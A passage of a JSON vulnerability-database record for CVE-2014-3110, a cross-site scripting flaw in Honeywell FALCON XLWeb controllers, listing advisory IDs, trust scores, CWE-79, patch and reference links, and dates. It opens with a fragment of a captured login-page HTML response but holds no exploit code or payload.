\u003cb\u003e/mnt/mtd6/xlweb/web/\nstandard/login/loginpage.php\u003c/b\u003e on line \u003cb\u003e750\u003c/b\u003e\u003cbr /\u003e\n\u003cbr /\u003e\n\u003cb\u003eNotice\u003c/b\u003e: Undefined index: AltTitle in \u003cb\u003e/mnt/mtd6/xlweb/web/\nstandard/login/loginpage.php\u003c/b\u003e on line \u003cb\u003e751\u003c/b\u003e\u003cbr /\u003e\n \u003ctable border=\"0\" cellspacing=\"0\" cellpadding=\"0\" \u003e\n \u003ctr\u003e\n \u003ctd\u003e\u003cimg alt=\"\" src=\"images/buttonleft.gif\" width=\"7\"\nheight=\"18\"/\u003e\u003c/td\u003e\n \u003ctd background=\"images/buttonmiddle.gif\" nowrap=\"\"\u003e\u003ca\nclass=\"button\" href=\"JavaScript:createSession ();\" title=\"\"\u003e\u003c/a\u003e\u003c/td\u003e\n \u003ctd\u003e\u003cimg alt=\"\" src=\"images/buttonright.gif\" width=\"7\"\nheight=\"18\"/\u003e\u003c/td\u003e\n \u003c/tr\u003e\n \u003c/table\u003e\n \u003c/td\u003e\n \u003c/tr\u003e\n \u003c/table\u003e\n \u003c/td\u003e\n \u003c/tr\u003e\n \u003c/table\u003e\n \u003c/td\u003e\n \u003ctd width=\"50%\"\u003e\u0026nbsp;\u003c/td\u003e\n \u003c/tr\u003e\n \u003c/table\u003e\n \u003c/form\u003e\n \u003c/body\u003e\n\u003c/html\u003e\n",
"sources": [
{
"db": "NVD",
"id": "CVE-2014-3110"
},
{
"db": "JVNDB",
"id": "JVNDB-2014-003564"
},
{
"db": "CNVD",
"id": "CNVD-2014-04588"
},
{
"db": "BID",
"id": "68838"
},
{
"db": "IVD",
"id": "e2f7d638-2351-11e6-abef-000c29c66e3d"
},
{
"db": "PACKETSTORM",
"id": "147863"
}
],
"trust": 2.7
},
"external_ids": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/external_ids#",
"data": {
"@container": "@list"
},
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": [
{
"db": "NVD",
"id": "CVE-2014-3110",
"trust": 3.6
},
{
"db": "ICS CERT",
"id": "ICSA-14-175-01",
"trust": 3.3
},
{
"db": "BID",
"id": "68838",
"trust": 1.9
},
{
"db": "EXPLOIT-DB",
"id": "44749",
"trust": 1.0
},
{
"db": "CNVD",
"id": "CNVD-2014-04588",
"trust": 0.8
},
{
"db": "CNNVD",
"id": "CNNVD-201407-600",
"trust": 0.8
},
{
"db": "JVNDB",
"id": "JVNDB-2014-003564",
"trust": 0.8
},
{
"db": "IVD",
"id": "E2F7D638-2351-11E6-ABEF-000C29C66E3D",
"trust": 0.2
},
{
"db": "PACKETSTORM",
"id": "147863",
"trust": 0.1
}
],
"sources": [
{
"db": "IVD",
"id": "e2f7d638-2351-11e6-abef-000c29c66e3d"
},
{
"db": "CNVD",
"id": "CNVD-2014-04588"
},
{
"db": "BID",
"id": "68838"
},
{
"db": "JVNDB",
"id": "JVNDB-2014-003564"
},
{
"db": "PACKETSTORM",
"id": "147863"
},
{
"db": "NVD",
"id": "CVE-2014-3110"
},
{
"db": "CNNVD",
"id": "CNNVD-201407-600"
}
]
},
"id": "VAR-201407-0468",
"iot": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/iot#",
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": true,
"sources": [
{
"db": "IVD",
"id": "e2f7d638-2351-11e6-abef-000c29c66e3d"
},
{
"db": "CNVD",
"id": "CNVD-2014-04588"
}
],
"trust": 1.8
},
"iot_taxonomy": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/iot_taxonomy#",
"data": {
"@container": "@list"
},
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": [
{
"category": [
"ICS"
],
"sub_category": null,
"trust": 0.8
}
],
"sources": [
{
"db": "IVD",
"id": "e2f7d638-2351-11e6-abef-000c29c66e3d"
},
{
"db": "CNVD",
"id": "CNVD-2014-04588"
}
]
},
"last_update_date": "2023-12-18T12:30:04.445000Z",
"patch": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/patch#",
"data": {
"@container": "@list"
},
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": [
{
"title": "Top Page",
"trust": 0.8,
"url": "http://honeywell.com/pages/home.aspx"
},
{
"title": "\u30c8\u30c3\u30d7\u30da\u30fc\u30b8",
"trust": 0.8,
"url": "http://honeywell.com/sites/jp/pages/home.aspx"
},
{
"title": "Honeywell FALCON XLWeb Controllers has multiple patches for cross-site scripting vulnerabilities",
"trust": 0.6,
"url": "https://www.cnvd.org.cn/patchinfo/show/47879"
}
],
"sources": [
{
"db": "CNVD",
"id": "CNVD-2014-04588"
},
{
"db": "JVNDB",
"id": "JVNDB-2014-003564"
}
]
},
"problemtype_data": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/problemtype_data#",
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": [
{
"problemtype": "CWE-79",
"trust": 1.8
}
],
"sources": [
{
"db": "JVNDB",
"id": "JVNDB-2014-003564"
},
{
"db": "NVD",
"id": "CVE-2014-3110"
}
]
},
"references": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/references#",
"data": {
"@container": "@list"
},
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": [
{
"trust": 3.3,
"url": "http://ics-cert.us-cert.gov/advisories/icsa-14-175-01"
},
{
"trust": 1.6,
"url": "http://www.securityfocus.com/bid/68838"
},
{
"trust": 1.0,
"url": "https://www.exploit-db.com/exploits/44749/"
},
{
"trust": 0.8,
"url": "http://cve.mitre.org/cgi-bin/cvename.cgi?name=cve-2014-3110"
},
{
"trust": 0.8,
"url": "http://web.nvd.nist.gov/view/vuln/detail?vulnid=cve-2014-3110"
},
{
"trust": 0.3,
"url": "http://www.security.honeywell.com/"
},
{
"trust": 0.1,
"url": "https://nvd.nist.gov/vuln/detail/cve-2014-3110"
},
{
"trust": 0.1,
"url": "https://www.honeywell.com"
},
{
"trust": 0.1,
"url": "http://targetip/standard/mainframe.php"
},
{
"trust": 0.1,
"url": "http://\""
}
],
"sources": [
{
"db": "CNVD",
"id": "CNVD-2014-04588"
},
{
"db": "BID",
"id": "68838"
},
{
"db": "JVNDB",
"id": "JVNDB-2014-003564"
},
{
"db": "PACKETSTORM",
"id": "147863"
},
{
"db": "NVD",
"id": "CVE-2014-3110"
},
{
"db": "CNNVD",
"id": "CNNVD-201407-600"
}
]
},
"sources": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#",
"data": {
"@container": "@list"
}
},
"data": [
{
"db": "IVD",
"id": "e2f7d638-2351-11e6-abef-000c29c66e3d"
},
{
"db": "CNVD",
"id": "CNVD-2014-04588"
},
{
"db": "BID",
"id": "68838"
},
{
"db": "JVNDB",
"id": "JVNDB-2014-003564"
},
{
"db": "PACKETSTORM",
"id": "147863"
},
{
"db": "NVD",
"id": "CVE-2014-3110"
},
{
"db": "CNNVD",
"id": "CNNVD-201407-600"
}
]
},
"sources_release_date": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources_release_date#",
"data": {
"@container": "@list"
}
},
"data": [
{
"date": "2014-07-25T00:00:00",
"db": "IVD",
"id": "e2f7d638-2351-11e6-abef-000c29c66e3d"
},
{
"date": "2014-07-25T00:00:00",
"db": "CNVD",
"id": "CNVD-2014-04588"
},
{
"date": "2014-07-22T00:00:00",
"db": "BID",
"id": "68838"
},
{
"date": "2014-07-28T00:00:00",
"db": "JVNDB",
"id": "JVNDB-2014-003564"
},
{
"date": "2018-05-24T18:24:01",
"db": "PACKETSTORM",
"id": "147863"
},
{
"date": "2014-07-24T14:55:07.487000",
"db": "NVD",
"id": "CVE-2014-3110"
},
{
"date": "2014-07-25T00:00:00",
"db": "CNNVD",
"id": "CNNVD-201407-600"
}
]
},
"sources_update_date": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources_update_date#",
"data": {
"@container": "@list"
}
},
"data": [
{
"date": "2014-07-25T00:00:00",
"db": "CNVD",
"id": "CNVD-2014-04588"
},
{
"date": "2014-07-22T00:00:00",
"db": "BID",
"id": "68838"
},
{
"date": "2014-07-28T00:00:00",
"db": "JVNDB",
"id": "JVNDB-2014-003564"
},
{
"date": "2018-05-27T01:29:00.247000",
"db": "NVD",
"id": "CVE-2014-3110"
},
{
"date": "2014-07-25T00:00:00",
"db": "CNNVD",
"id": "CNNVD-201407-600"
}
]
},
"threat_type": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/threat_type#",
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": "remote",
"sources": [
{
"db": "PACKETSTORM",
"id": "147863"
},
{
"db": "CNNVD",
"id": "CNNVD-201407-600"
}
],
"trust": 0.7
},
"title": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/title#",
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": "Honeywell FALCON XLWeb Linux Controller and FALCON XLWeb XLWebExe Controller cross-site scripting vulnerability",
"sources": [
{
"db": "JVNDB",
"id": "JVNDB-2014-003564"
}
],
"trust": 0.8
},
"type": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/type#",
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": "XSS",
"sources": [
{
"db": "CNNVD",
"id": "CNNVD-201407-600"
}
],
"trust": 0.6
}
}
Loading…
Loading…
Sightings
| Author | Source | Type | Date |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
Loading…
Loading…